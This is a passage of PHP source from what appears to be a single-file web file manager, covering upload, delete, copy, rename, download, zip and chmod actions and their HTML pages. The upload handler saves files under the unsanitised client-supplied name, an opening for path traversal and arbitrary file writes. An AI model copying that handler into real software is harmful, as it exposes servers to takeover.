(fm_rdelete($path . '/' . $del)) { $msg = $is_dir ? 'Folder <b>%s</b> deleted' : 'File <b>%s</b> deleted'; fm_set_msg(sprintf($msg, fm_enc($del))); } else { $msg = $is_dir ? 'Folder <b>%s</b> not deleted' : 'File <b>%s</b> not deleted'; fm_set_msg(sprintf($msg, fm_enc($del)), 'error'); } } else { fm_set_msg('Wrong file or folder name', 'error'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Create folder if (isset($_GET['new'])) { $new = strip_tags($_GET['new']); // remove unwanted characters from folder name $new = fm_clean_path($new); $new = str_replace('/', '', $new); if ($new != '' && $new != '..' && $new != '.') { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if (fm_mkdir($path . '/' . $new, false) === true) { fm_set_msg(sprintf('Folder <b>%s</b> created', fm_enc($new))); } elseif (fm_mkdir($path . '/' . $new, false) === $path . '/' . $new) { fm_set_msg(sprintf('Folder <b>%s</b> already exists', fm_enc($new)), 'alert'); } else { fm_set_msg(sprintf('Folder <b>%s</b> not created', fm_enc($new)), 'error'); } } else { fm_set_msg('Wrong folder name', 'error'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Copy folder / file if (isset($_GET['copy'], $_GET['finish'])) { // from $copy = $_GET['copy']; $copy = fm_clean_path($copy); // empty path if ($copy == '') { fm_set_msg('Source path not defined', 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // abs path from $from = FM_ROOT_PATH . '/' . $copy; // abs path to $dest = FM_ROOT_PATH; if (FM_PATH != '') { $dest .= '/' . FM_PATH; } $dest .= '/' . basename($from); // move? $move = isset($_GET['move']); // copy/move if ($from != $dest) { $msg_from = trim(FM_PATH . '/' . basename($from), '/'); if ($move) { $rename = fm_rename($from, $dest); if ($rename) { fm_set_msg(sprintf('Moved from <b>%s</b> to <b>%s</b>', fm_enc($copy), fm_enc($msg_from))); } elseif ($rename === null) { fm_set_msg('File or folder with this path already exists', 'alert'); } else { fm_set_msg(sprintf('Error while moving from <b>%s</b> to <b>%s</b>', fm_enc($copy), fm_enc($msg_from)), 'error'); } } else { if (fm_rcopy($from, $dest)) { fm_set_msg(sprintf('Copyied from <b>%s</b> to <b>%s</b>', fm_enc($copy), fm_enc($msg_from))); } else { fm_set_msg(sprintf('Error while copying from <b>%s</b> to <b>%s</b>', fm_enc($copy), fm_enc($msg_from)), 'error'); } } } else { fm_set_msg('Paths must be not equal', 'alert'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Mass copy files/ folders if (isset($_POST['file'], $_POST['copy_to'], $_POST['finish'])) { // from $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // to $copy_to_path = FM_ROOT_PATH; $copy_to = fm_clean_path($_POST['copy_to']); if ($copy_to != '') { $copy_to_path .= '/' . $copy_to; } if ($path == $copy_to_path) { fm_set_msg('Paths must be not equal', 'alert'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } if (!is_dir($copy_to_path)) { if (!fm_mkdir($copy_to_path, true)) { fm_set_msg('Unable to create destination folder', 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } } // move? $move = isset($_POST['move']); // copy/move $errors = 0; $files = $_POST['file']; if (is_array($files) && count($files)) { foreach ($files as $f) { if ($f != '') { // abs path from $from = $path . '/' . $f; // abs path to $dest = $copy_to_path . '/' . $f; // do if ($move) { $rename = fm_rename($from, $dest); if ($rename === false) { $errors++; } } else { if (!fm_rcopy($from, $dest)) { $errors++; } } } } if ($errors == 0) { $msg = $move ? 'Selected files and folders moved' : 'Selected files and folders copied'; fm_set_msg($msg); } else { $msg = $move ? 'Error while moving items' : 'Error while copying items'; fm_set_msg($msg, 'error'); } } else { fm_set_msg('Nothing selected', 'alert'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Rename if (isset($_GET['ren'], $_GET['to'])) { // old name $old = $_GET['ren']; $old = fm_clean_path($old); $old = str_replace('/', '', $old); // new name $new = $_GET['to']; $new = fm_clean_path($new); $new = str_replace('/', '', $new); // path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // rename if ($old != '' && $new != '') { if (fm_rename($path . '/' . $old, $path . '/' . $new)) { fm_set_msg(sprintf('Renamed from <b>%s</b> to <b>%s</b>', fm_enc($old), fm_enc($new))); } else { fm_set_msg(sprintf('Error while renaming from <b>%s</b> to <b>%s</b>', fm_enc($old), fm_enc($new)), 'error'); } } else { fm_set_msg('Names not set', 'error'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Download if (isset($_GET['dl'])) { $dl = $_GET['dl']; $dl = fm_clean_path($dl); $dl = str_replace('/', '', $dl); $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($dl != '' && is_file($path . '/' . $dl)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($path . '/' . $dl) . '"'); header('Content-Transfer-Encoding: binary'); header('Connection: Keep-Alive'); header('Expires: 0'); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Pragma: public'); header('Content-Length: ' . filesize($path . '/' . $dl)); readfile($path . '/' . $dl); exit; } else { fm_set_msg('File not found', 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } } // Upload if (isset($_POST['upl'])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $errors = 0; $uploads = 0; $total = count($_FILES['upload']['name']); for ($i = 0; $i < $total; $i++) { $tmp_name = $_FILES['upload']['tmp_name'][$i]; if (empty($_FILES['upload']['error'][$i]) && !empty($tmp_name) && $tmp_name != 'none') { if (move_uploaded_file($tmp_name, $path . '/' . $_FILES['upload']['name'][$i])) { $uploads++; } else { $errors++; } } } if ($errors == 0 && $uploads > 0) { fm_set_msg(sprintf('All files uploaded to <b>%s</b>', fm_enc($path))); } elseif ($errors == 0 && $uploads == 0) { fm_set_msg('Nothing uploaded', 'alert'); } else { fm_set_msg(sprintf('Error while uploading files. Uploaded files: %s', $uploads), 'error'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Mass deleting if (isset($_POST['group'], $_POST['delete'])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $errors = 0; $files = $_POST['file']; if (is_array($files) && count($files)) { foreach ($files as $f) { if ($f != '') { $new_path = $path . '/' . $f; if (!fm_rdelete($new_path)) { $errors++; } } } if ($errors == 0) { fm_set_msg('Selected files and folder deleted'); } else { fm_set_msg('Error while deleting items', 'error'); } } else { fm_set_msg('Nothing selected', 'alert'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Pack files if (isset($_POST['group'], $_POST['zip'])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if (!class_exists('ZipArchive')) { fm_set_msg('Operations with archives are not available', 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } $files = $_POST['file']; if (!empty($files)) { chdir($path); if (count($files) == 1) { $one_file = reset($files); $one_file = basename($one_file); $zipname = $one_file . '_' . date('ymd_His') . '.zip'; } else { $zipname = 'archive_' . date('ymd_His') . '.zip'; } $zipper = new FM_Zipper(); $res = $zipper->create($zipname, $files); if ($res) { fm_set_msg(sprintf('Archive <b>%s</b> created', fm_enc($zipname))); } else { fm_set_msg('Archive not created', 'error'); } } else { fm_set_msg('Nothing selected', 'alert'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Unpack if (isset($_GET['unzip'])) { $unzip = $_GET['unzip']; $unzip = fm_clean_path($unzip); $unzip = str_replace('/', '', $unzip); $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if (!class_exists('ZipArchive')) { fm_set_msg('Operations with archives are not available', 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } if ($unzip != '' && is_file($path . '/' . $unzip)) { $zip_path = $path . '/' . $unzip; //to folder $tofolder = ''; if (isset($_GET['tofolder'])) { $tofolder = pathinfo($zip_path, PATHINFO_FILENAME); if (fm_mkdir($path . '/' . $tofolder, true)) { $path .= '/' . $tofolder; } } $zipper = new FM_Zipper(); $res = $zipper->unzip($zip_path, $path); if ($res) { fm_set_msg('Archive unpacked'); } else { fm_set_msg('Archive not unpacked', 'error'); } } else { fm_set_msg('File not found', 'error'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Change Perms (not for Windows) if (isset($_POST['chmod']) && !FM_IS_WIN) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $file = $_POST['chmod']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || (!is_file($path . '/' . $file) && !is_dir($path . '/' . $file))) { fm_set_msg('File not found', 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } $mode = 0; if (!empty($_POST['ur'])) { $mode |= 0400; } if (!empty($_POST['uw'])) { $mode |= 0200; } if (!empty($_POST['ux'])) { $mode |= 0100; } if (!empty($_POST['gr'])) { $mode |= 0040; } if (!empty($_POST['gw'])) { $mode |= 0020; } if (!empty($_POST['gx'])) { $mode |= 0010; } if (!empty($_POST['or'])) { $mode |= 0004; } if (!empty($_POST['ow'])) { $mode |= 0002; } if (!empty($_POST['ox'])) { $mode |= 0001; } if (@chmod($path . '/' . $file, $mode)) { fm_set_msg('Permissions changed'); } else { fm_set_msg('Permissions not changed', 'error'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } /*************************** /ACTIONS ***************************/ // get current path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // check path if (!is_dir($path)) { fm_redirect(FM_SELF_URL . '?p='); } // get parent folder $parent = fm_get_parent_path(FM_PATH); $objects = is_readable($path) ? scandir($path) : array(); $folders = array(); $files = array(); if (is_array($objects)) { foreach ($objects as $file) { if ($file == '.' || $file == '..') { continue; } $new_path = $path . '/' . $file; if (is_file($new_path)) { $files[] = $file; } elseif (is_dir($new_path) && $file != '.' && $file != '..') { $folders[] = $file; } } } if (!empty($files)) { natcasesort($files); } if (!empty($folders)) { natcasesort($folders); } // upload form if (isset($_GET['upload'])) { fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path ?> <div class="path"> <p><b>Uploading files</b></p> <p class="break-word">Destination folder: <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?></p> <form action="" method="post" enctype="multipart/form-data"> <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>"> <input type="hidden" name="upl" value="1"> <input type="file" name="upload[]"><br> <input type="file" name="upload[]"><br> <input type="file" name="upload[]"><br> <input type="file" name="upload[]"><br> <input type="file" name="upload[]"><br> <br> <p> <button class="btn"><i class="icon-apply"></i> Upload</button> <b><a href="?p=<?php echo urlencode(FM_PATH) ?>"><i class="icon-cancel"></i> Cancel</a></b> </p> </form> </div> <?php fm_show_footer(); exit; } // copy form POST if (isset($_POST['copy'])) { $copy_files = $_POST['file']; if (!is_array($copy_files) || empty($copy_files)) { fm_set_msg('Nothing selected', 'alert'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path ?> <div class="path"> <p><b>Copying</b></p> <form action="" method="post"> <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>"> <input type="hidden" name="finish" value="1"> <?php foreach ($copy_files as $cf) { echo '<input type="hidden" name="file[]" value="' . fm_enc($cf) . '">' . PHP_EOL; } $copy_files_enc = array_map('fm_enc', $copy_files); ?> <p class="break-word">Files: <b><?php echo implode('</b>, <b>', $copy_files_enc) ?></b></p> <p class="break-word">Source folder: <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?><br> <label for="inp_copy_to">Destination folder:</label> <?php echo FM_ROOT_PATH ?>/<input name="copy_to" id="inp_copy_to" value="<?php echo fm_enc(FM_PATH) ?>"> </p> <p><label><input type="checkbox" name="move" value="1"> Move</label></p> <p> <button class="btn"><i class="icon-apply"></i> Copy</button> <b><a href="?p=<?php echo urlencode(FM_PATH) ?>"><i class="icon-cancel"></i> Cancel</a></b> </p> </form> </div> <?php fm_show_footer(); exit; } // copy form if (isset($_GET['copy']) && !isset($_GET['finish'])) { $copy = $_GET['copy']; $copy = fm_clean_path($copy); if ($copy == '' || !file_exists(FM_ROOT_PATH . '/' . $copy)) { fm_set_msg('File not found', 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path ?> <div class="path"> <p><b>Copying</b></p> <p class="break-word"> Source path: <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . '/' . $copy)) ?><br> Destination folder: <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?> </p> <p> <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&copy=<?php echo urlencode($copy) ?>&finish=1"><i class="icon-apply"></i> Copy</a></b> <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&copy=<?php echo urlencode($copy) ?>&finish=1&move=1"><i class="icon-apply"></i> Move</a></b> <b><a href="?p=<?php echo urlencode(FM_PATH) ?>"><i class="icon-cancel"></i> Cancel</a></b> </p> <p><i>Select folder:</i></p> <ul class="folders break-word"> <?php if ($parent !== false) { ?> <li><a href="?p=<?php echo urlencode($parent) ?>&copy=<?php echo urlencode($copy) ?>"><i class="icon-arrow_up"></i> ..</a></li> <?php } foreach ($folders as $f) { ?> <li><a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>&copy=<?php echo urlencode($copy) ?>"><i class="icon-folder"></i> <?php echo fm_enc(fm_convert_win($f)) ?></a></li> <?php } ?> </ul> </div> <?php fm_show_footer(); exit; } // file viewer if (isset($_GET['view'])) { $file = $_GET['view']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || !is_file($path . '/' . $file)) { fm_set_msg('File not found', 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file); $file_path = $path . '/' . $file; $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $mime_type = fm_get_mime_type($file_path); $filesize = filesize($file_path); $is_zip = false; $is_image = false; $is_audio = false; $is_video = false; $is_text = false; $view_title = 'File'; $filenames = false; // for zip $content = ''; // for text if ($ext == 'zip') { $is_zip = true; $view_title = 'Archive'; $filenames = fm_get_zif_info($file_path); } elseif (in_array($ext, fm_get_image_exts())) { $is_image = true; $view_title = 'Image'; } elseif (in_array($ext, fm_get_audio_exts())) { $is_audio = true; $view_title = 'Audio'; } elseif (in_array($ext, fm_get_video_exts())) { $is_video = true; $view_title = 'Video'; } elseif (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) { $is_text = true; $content = file_get_contents($file_path); } ?> <div class="path"> <p class="break-word"><b><?php echo $view_title ?> "<?php echo fm_enc(fm_convert_win($file)) ?>"</b></p> <p class="break-word"> Full path: <?php echo fm_enc(fm_convert_win($file_path)) ?><br> File size: <?php echo fm_get_filesize($filesize) ?><?php if ($filesize >= 1000): ?> (<?php echo sprintf('%s bytes', $filesize) ?>)<?php endif; ?><br> MIME-type: <?php echo $mime_type ?><br> <?php // ZIP info if ($is_zip && $filenames !== false) { $total_files = 0; $total_comp = 0; $total_uncomp = 0; foreach ($filenames as $fn) { if (!$fn['folder']) { $total_files++; } $total_comp += $fn['compressed_size']; $total_uncomp += $fn['filesize']; } ?> Files in archive: <?php echo $total_files ?><br> Total size: <?php echo fm_get_filesize($total_uncomp) ?><br> Size in archive: <?php echo fm_get_filesize($total_comp) ?><br> Compression: <?php echo round(($total_comp / $total_uncomp) * 100) ?>%<br> <?php } // Image info if ($is_image) { $image_size = getimagesize($file_path); echo 'Image sizes: ' . (isset($image_size[0]) ? $image_size[0] : '0') . ' x ' . (isset($image_size[1]) ? $image_size[1] : '0') . '<br>'; } // Text info if ($is_text) { $is_utf8 = fm_is_utf8($content); if (function_exists('iconv')) { if (!$is_utf8) { $content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content); } } echo 'Charset: ' . ($is_utf8 ? 'utf-8' : '8 bit') . '<br>'; } ?> </p> <p> <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&dl=<?php echo urlencode($file) ?>"><i class="icon-download"></i> Download</a></b> <b><a href="<?php echo fm_enc($file_url) ?>" target="_blank"><i class="icon-chain"></i> Open</a></b> <?php // ZIP actions if ($is_zip && $filenames !== false) { $zip_name = pathinfo($file_path, PATHINFO_FILENAME); ?> <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&unzip=<?php echo urlencode($file) ?>"><i class="icon-apply"></i> Unpack</a></b> <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&unzip=<?php echo urlencode($file) ?>&tofolder=1" title="Unpack to <?php echo fm_enc($zip_name) ?>"><i class="icon-apply"></i> Unpack to folder</a></b> <?php } ?> <b><a href="?p=<?php echo urlencode(FM_PATH) ?>"><i class="icon-goback"></i> Back</a></b> </p> <?php if ($is_zip) { // ZIP content if ($filenames !== false) { echo '<code class="maxheight">'; foreach ($filenames as $fn) { if ($fn['folder']) { echo '<b>' . fm_enc($fn['name']) . '</b><br>'; } else { echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')<br>'; } } echo '</code>'; } else { echo '<p>Error while fetching archive info</p>'; } } elseif ($is_image) { // Image content if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico'))) { echo '<p><img src="' . fm_enc($file_url) . '" alt="" class="preview-img"></p>'; } } elseif ($is_audio) { // Audio content echo '<p><audio src="' . fm_enc($file_url) . '" controls preload="metadata"></audio></p>'; } elseif ($is_video) { // Video content echo '<div class="preview-video"><video src="' . fm_enc($file_url) . '" width="640" height="360" controls preload="metadata"></video></div>'; } elseif ($is_text) { if (FM_USE_HIGHLIGHTJS) { // highlight $hljs_classes = array( 'shtml' => 'xml', 'htaccess' => 'apache', 'phtml' => 'php', 'lock' => 'json', 'svg' => 'xml', ); $hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext; if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\.min\.(css|js)$#i', $file)) { $hljs_class = 'nohighlight'; } $content = '<pre class="with-hljs"><code class="' . $hljs_class . '">' . fm_enc($content) . '</code></pre>'; } elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) { // php highlight $content = highlight_string($content, true); } else { $content = '<pre>' . fm_enc($content) . '</pre>'; } echo $content; } ?> </div> <?php fm_show_footer(); exit; } // chmod (not for Windows) if (isset($_GET['chmod']) && !FM_IS_WIN) { $file = $_GET['chmod']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || (!is_file($path . '/' . $file) && !is_dir($path . '/' . $file))) { fm_set_msg('File not found', 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path $file_url = FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file; $file_path = $path . '/' . $file; $mode = fileperms($path . '/' . $file); ?> <div class="path"> <p><b>Change Permissions</b></p> <p> Full path: <?php echo fm_enc($file_path) ?><br> </p> <form action="" method="post"> <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>"> <input type="hidden" name="chmod" value="<?php echo fm_enc($file) ?>"> <table class="compact-table"> <tr> <td></td> <td><b>Owner</b></td> <td><b>Group</b></td> <td><b>Other</b></td> </tr> <tr> <td style="text-align: right"><b>Read</b></td> <td><label><input type="checkbox" name="ur" value="1"<?php echo ($mode & 00400) ? ' checked' : '' ?>></label></td> <td><label><input type="checkbox" name="gr" value="1"<?php echo ($mode & 00040) ? ' checked' : '' ?>></label></td> <td><label><input type="checkbox" name="or" value="1"<?php echo ($mode & 00004) ? ' checked' : '' ?>></label></td> </tr> <tr> <td style="text-align: right"><b>Write</b></td> <td><label><input type="checkbox" name="uw" value="1"<?php echo ($mode & 00200) ? ' checked' : '' ?>></label></td> <td><label><input type="checkbox" name="gw" value="1"<?php echo ($mode & 00020) ? ' checked' : '' ?>></label></td> <td><label><input type="checkbox" name="ow" value="1"<?php echo ($mode & 00002) ? ' checked' : '' ?>></label></td> </tr> <tr> <td style="text-align: right"><b>Execute</b></td> <td><label><input type="checkbox" name="ux" value="1"<?php echo ($mode & 00100) ? ' checked' : '' ?>></label></td> <td><label><input type="checkbox" name="gx" value="1"<?php echo ($mode & 00010) ? ' checked' : '' ?>></label></td> <td><label><input type="checkbox" name="ox" value="1"<?php echo ($mode & 00001) ? ' checked' : '' ?>></label></td> </tr> </table> <p> <button class="btn"><i class="icon-apply"></i> Change</button> <b><a href="?p=<?php echo urlencode(FM_PATH) ?>"><i class="icon-cancel"></i> Cancel</a></b> </p> </form> </div> <?php fm_show_footer(); exit; } //--- FILEMANAGER MAIN fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path // messages fm_show_message(); $num_files = count($files); $num_folders = count($folders); $all_files_size = 0; ?> <form action="" method="post"> <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>"> <input type="hidden" name="group" value="1"> <table><tr> <th style="width:3%"><label><input type="checkbox" title="Invert selection" onclick="checkbox_toggle()"></label></th> <th>Name</th><th style="width:10%">Size</th> <th style="width:12%">Modified</th> <?php if (!FM_IS_WIN): ?><th style="width:6%">Perms</th><th style="width:10%">Owner</th><?php endif; ?> <th style="width:13%"></th></tr> <?php // link to parent folder if ($parent !== false) { ?> <tr><td></td><td colspan="<?php echo !FM_IS_WIN ? '6' : '4' ?>"><a href="?p=<?php echo urlencode($parent) ?>"><i class="icon-arrow_up"></i> ..</a></td></tr> <?php } foreach ($folders as $f) { $is_link = is_link($path . '/' . $f); $img = $is_link ? 'icon-link_folder' : 'icon-folder'; $modif = date(FM_DATETIME_FORMAT, filemtime($path . '/' . $f)); $perms = substr(decoct(fileperms($path . '/' . $f)), -4); if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) { $owner = posix_getpwuid(fileowner($path . '/' . $f)); $group = posix_getgrgid(filegroup($path . '/' . $f)); } else { $owner = array('name' => '?'); $group = array('name' => '?'); } ?> <tr> <td><label><input type="checkbox" name="file[]" value="<?php echo fm_enc($f) ?>"></label></td> <td><div class="filename"><a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="<?php echo $img ?>"></i> <?php echo fm_enc(fm_convert_win($f)) ?></a><?php echo ($is_link ? ' → <i>' . fm_enc(readlink($path . '/' . $f)) . '</i>' : '') ?></div></td> <td>Folder</td><td><?php echo $modif ?></td> <?php if (!FM_IS_WIN): ?> <td><a title="Change Permissions" href="?p=<?php echo urlencode(FM_PATH) ?>&chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a></td> <td><?php echo fm_enc($owner['name'] . ':' . $group['name']) ?></td> <?php endif; ?> <td> <a title="Delete" href="?p=<?php echo urlencode(FM_PATH) ?>&del=<?php echo urlencode($f) ?>" onclick="return confirm('Delete folder?');"><i class="icon-cross"></i></a> <a title="Rename" href="#" onclick="rename('<?php echo fm_enc(FM_PATH) ?>', '<?php echo fm_enc($f) ?>');return false;"><i class="icon-rename"></i></a> <a title="Copy to..." href="?p=&copy=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="icon-copy"></i></a> <a title="Direct link" href="<?php echo fm_enc(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f . '/') ?>" target="_blank"><i class="icon-chain"></i></a> </td></tr> <?php flush(); } foreach ($files as $f) { $is_link = is_link($path . '/' . $f); $img = $is_link ? 'icon-link_file' : fm_get_file_icon_class($path . '/' . $f); $modif = date(FM_DATETIME_FORMAT, filemtime($path . '/' . $f)); $filesize_raw = filesize($path . '/' . $f); $filesize = fm_get_filesize($filesize_raw); $filelink = '?p=' . urlencode(FM_PATH) . '&view=' . urlencode($f); $all_files_size += $filesize_raw; $perms = substr(decoct(fileperms($path . '/' . $f)), -4); if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) { $owner = posix_getpwuid(fileowner($path . '/' . $f)); $group = posix_getgrgid(filegroup($path . '/' . $f)); } else { $owner = array('name' => '?'); $group = array('name' => '?'); } ?> <tr> <td><label><input type="checkbox" name="file[]" value="<?php echo fm_enc($f) ?>"></label></td> <td><div class="filename"><a href="<?php echo fm_enc($filelink) ?>" title="File info"><i class="<?php echo $img ?>"></i> <?php echo fm_enc(fm_convert_win($f)) ?></a><?php echo ($is_link ? ' → <i>' . fm_enc(readlink($path . '/' . $f)) . '</i>' : '') ?></div></td> <td><span class="gray" title="<?php printf('%s bytes', $filesize_raw) ?>"><?php echo $filesize ?></span></td> <td><?php echo $modif ?></td> <?php if (!FM_IS_WIN): ?> <td><a title="Change Permissions" href="?p=<?php echo urlencode(FM_PATH) ?>&chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a></td> <td><?php echo fm_enc($owner['name'] . ':' . $group['name']) ?></td> <?php endif; ?> <td> <a title="Delete" href="?p=<?php echo urlencode(FM_PATH) ?>&del=<?php echo urlencode($f) ?>" onclick="return confirm('Delete file?');"><i class="icon-cross"></i></a> <a title="Rename" href="#" onclick="rename('<?php echo fm_enc(FM_PATH) ?>', '<?php echo fm_enc($f) ?>');return false;"><i class="icon-rename"></i></a> <a title="Copy to..." href="?p=<?php echo urlencode(FM_PATH) ?>&copy=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="icon-copy"></i></a> <a title="Direct link" href="<?php echo fm_enc(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f) ?>" target="_blank"><i class="icon-chain"></i></a> <a title="Download" href="?p=<?php echo urlencode(FM_PATH) ?>&dl=<?php echo urlencode($f) ?>"><i class="icon-download"></i></a> </td></tr> <?php flush(); } if (empty($folders) && empty($files)) { ?> <tr><td></td><td colspan="<?php echo !FM_IS_WIN ? '6' : '4' ?>"><em>Folder is empty</em></td></tr> <?php } else { ?> <tr><td class="gray"></td><td class="gray" colspan="<?php echo !FM_IS_WIN ? '6' : '4' ?>"> Full size: <span title="<?php printf('%s bytes', $all_files_size) ?>"><?php echo fm_get_filesize($all_files_size) ?></span>, files: <?php echo $num_files ?>, folders: <?php echo $num_folders ?> </td></tr> <?php } ?> </table> <p class="path"><a href="#" onclick="select_all();return false;"><i class="icon-checkbox"></i> Select all</a> <a href="#" onclick="unselect_all();return false;"><i class="icon-checkbox_uncheck"></i> Unselect all</a> <a href="#" onclick="invert_all();return false;"><i class="icon-checkbox_invert"></i> Invert selection</a></p> <p><input type="submit" name="delete" value="Delete" onclick="return confirm('Delete selected files and folders?')"> <input type="submit" name="zip" value="Pack" onclick="return confirm('Create archive?')"> <input type="submit" name="copy" value="Copy"></p> </form> <?php fm_show_footer(); //--- END // Functions /** * Delete file or folder (recursively) * @param string $path * @return bool */ function fm_rdelete($path) { if (is_link($path)) { return unlink($path); } elseif (is_dir($path)) { $objects = scandir($path); $ok = true; if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (!fm_rdelete($path . '/' . $file)) { $ok = false; } } } } return ($ok) ? rmdir($path) : false; } elseif (is_file($path)) { return unlink($path); } return false; } /** * Recursive chmod * @param string $path * @param int $filemode * @param int $dirmode * @return bool * @todo Will use in mass chmod */ function fm_rchmod($path, $filemode, $dirmode) { if (is_dir($path)) { if (!chmod($path, $dirmode)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (!fm_rchmod($path . '/' . $file, $filemode, $dirmode)) { return false; } } } } return true; } elseif (is_link($path)) { return true; } elseif (is_file($path)) { return chmod($path, $filemode); } return false; } /** * Safely rename * @param string $old * @param string $new * @return bool|null */ function fm_rename($old, $new) { return (!file_exists($new) && file_exists($old)) ? rename($old, $new) : null; } /** * Copy file or folder (recursively). * @param string $path * @param string $dest * @param bool $upd Update files * @param bool $force Create folder with same names instead file * @return bool */ function fm_rcopy($path, $dest, $upd = true, $force = true) { if (is_dir($path)) { if (!fm_mkdir($dest, $force)) { return false; } $objects = scandir($path); $ok = true; if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (!fm_rcopy($path . '/' . $file, $dest . '/' . $file)) { $ok = false; } } } } return $ok; } elseif (is_file($path)) { return fm_copy($path, $dest, $upd); } return false; } /** * Safely create folder * @param string $dir * @param bool $force * @return bool */ function fm_mkdir($dir, $force) { if (file_exists($dir)) { if (is_dir($dir)) { return $dir; } elseif (!$force) { return false; } unlink($dir); } return mkdir($dir, 0777, true); } /** * Safely copy file * @param string $f1 * @param string $f2 * @param bool $upd * @return bool */ function fm_copy($f1, $f2, $upd) { $time1 = filemtime($f1); if (file_exists($f2)) { $time2 = filemtime($f2); if ($time2 >= $time1 && $upd) { return false; } } $ok = copy($f1, $f2); if ($ok) { touch($f2, $time1); } return $ok; } /** * Get mime type * @param string $file_path * @return mixed|string */ function fm_get_mime_type($file_path) { if 